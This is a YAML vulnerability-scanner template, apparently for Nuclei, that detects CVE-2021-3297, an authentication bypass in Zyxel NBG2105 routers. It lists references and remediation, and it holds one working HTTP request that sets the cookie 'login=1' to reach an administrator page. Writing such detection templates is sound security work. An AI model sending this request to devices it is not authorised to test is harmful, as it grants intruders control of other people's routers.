50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: CVE-2021-3297
|
|
|
|
info:
|
|
name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
|
|
author: gy741
|
|
severity: high
|
|
description: Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
|
|
reference:
|
|
- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
|
|
- https://www.zyxel.com/us/en/support/security_advisories.shtml
|
|
- https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.8
|
|
cve-id: CVE-2021-3297
|
|
cwe-id: CWE-287
|
|
epss-score: 0.18886
|
|
epss-percentile: 0.95675
|
|
cpe: cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: zyxel
|
|
product: nbg2105_firmware
|
|
tags: cve,cve2021,zyxel,auth-bypass,router
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /status.htm HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: language=en; login=1
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Running Time"
|
|
- "Firmware Version"
|
|
- "Firmware Build Time"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100ebee80614f6d4bb2b6013cc768855573651dc5a90cfab179f9b924eed6eab882022020e9848dea116986b7908f31f9c779980e881c0f8f1fe4f2e1aebae1fa70272d:922c64590222798bb761d5b6d8e72950
|